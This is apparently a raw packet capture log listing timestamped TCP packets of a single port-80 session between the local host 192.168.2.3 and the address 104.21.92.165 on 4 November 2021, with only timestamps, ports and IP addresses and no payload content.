Nov 4, 2021 13:12:39.189773083 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.189781904 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.189796925 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.189815998 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.189841032 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.189841986 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.189858913 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.189877033 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.189881086 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.189904928 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.189915895 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.189930916 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.189939976 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.189955950 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.189956903 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.189976931 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.189986944 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.189996004 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190012932 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190013885 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190037012 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190045118 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190053940 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190071106 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190073967 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190102100 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190103054 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190119982 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190133095 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190141916 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190150023 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190195084 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190201044 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190210104 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190232992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190249920 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190251112 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190278053 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190279007 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190293074 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190308094 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190330982 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190340042 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190349102 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190368891 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190371990 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190382004 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190387964 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190411091 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190412998 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190431118 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190447092 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190449953 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190470934 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190470934 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190489054 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190502882 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190520048 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190530062 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190541983 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190557957 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190582037 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190771103 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190799952 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190821886 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190826893 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190846920 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190855980 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190867901 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190884113 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190890074 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190910101 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190917015 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190931082 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190948009 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.190954924 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190978050 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.190998077 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191019058 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191028118 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191047907 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191066980 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191071987 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191101074 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191102028 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191118956 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191127062 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191133976 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191149950 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191160917 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191180944 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191189051 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191201925 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191209078 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191226006 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191239119 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191250086 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191267967 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191268921 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191281080 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191294909 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191312075 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191324949 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191338062 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191363096 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191379070 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191382885 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191394091 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191399097 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191411018 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191431999 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191435099 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191454887 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191468000 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191485882 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191495895 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191507101 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191524029 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191541910 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191543102 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191561937 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191565037 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191587925 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191587925 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191606998 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191610098 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191622972 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191648006 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191648006 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191665888 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191673994 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191682100 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191701889 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191714048 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191721916 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191742897 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191745996 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191760063 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191766024 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191776037 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191792965 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191800117 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191817045 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191833973 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191842079 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191853046 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191875935 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191880941 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191896915 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191917896 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191919088 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191941977 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191951990 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191962957 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191972971 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.191982985 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.191993952 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192006111 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192011118 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192023993 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192039967 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192059040 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192060947 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192081928 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192090034 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192111969 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192111969 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192131042 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192146063 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192148924 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192162991 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192171097 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192192078 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192193031 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192212105 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192223072 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192235947 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192248106 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192259073 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192277908 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192277908 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192293882 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192301035 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192313910 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192325115 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192332029 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192348957 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192357063 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192378044 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192378998 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192398071 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192414999 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192426920 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192452908 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192454100 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192475080 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192492008 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192498922 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192519903 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192522049 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192548990 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192569017 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192572117 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192589045 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192605019 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192625999 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192648888 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192651033 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192675114 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192696095 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192701101 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192723036 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192724943 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192749023 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192756891 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192771912 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192789078 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192796946 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192815065 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192817926 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192841053 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192862034 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192862988 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192888021 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192913055 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192934036 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192934990 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192959070 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192960978 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.192982912 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.192996025 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193003893 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193006992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193027020 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193031073 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193052053 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193054914 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193068027 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193078041 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193090916 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193104029 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193121910 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193130970 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193130970 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193154097 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193178892 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193190098 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193202019 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193223000 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193224907 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193247080 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193248987 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193272114 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193275928 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193278074 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193299055 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193315983 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193324089 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193341017 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193346977 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193356037 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193372965 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193392038 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193408012 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193412066 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193428993 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193445921 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193449020 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193463087 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193465948 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193480015 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193495035 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193499088 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193515062 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193536997 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193540096 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193562984 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193564892 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193587065 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193588972 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193613052 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193614006 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193629980 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193645954 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193645954 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193655968 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193660975 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193676949 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193681002 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193692923 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193711996 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193725109 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193732977 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193737030 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193753958 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193762064 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193779945 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193780899 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193799973 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193814039 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193819046 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193833113 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193849087 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193866014 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193867922 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193888903 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193906069 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193924904 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193926096 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.193949938 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193974972 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.193996906 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194000006 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194022894 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194025040 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194051027 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194055080 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194077015 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194077969 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194097996 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194102049 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194120884 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194124937 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194143057 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194142103 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194161892 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194174051 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194179058 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194190979 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194207907 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194211960 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194224119 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194235086 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194247007 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194247007 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194263935 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194271088 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194282055 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.194291115 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.194305897 CET	80	49754	104.21.92.165	192.168.2.3
